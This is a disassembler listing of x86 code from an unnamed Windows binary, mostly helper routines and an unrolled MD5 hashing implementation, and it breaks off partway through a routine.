loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 2DD4C9E8h, 0C0859002h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		call	near ptr 27106A6h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		call	near ptr 77C2C21Bh
		nop
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 2710000h
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3E8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 2730000h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 27A08E0h
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	0FEE89051h, 56022CD1h, 0E890D88Bh
		dd 22CD363h, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA_0	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, edi
		add	ecx, [esp+5Ch+var_40]
		lea	eax, [eax+ecx-0BD6DDBCh]
		mov	ecx, eax
		shr	ecx, 1Ah
		shl	eax, 6
		or	ecx, eax
		mov	eax, edi
		add	ecx, ebx
		not	eax
		or	eax, ecx
		xor	eax, ebx
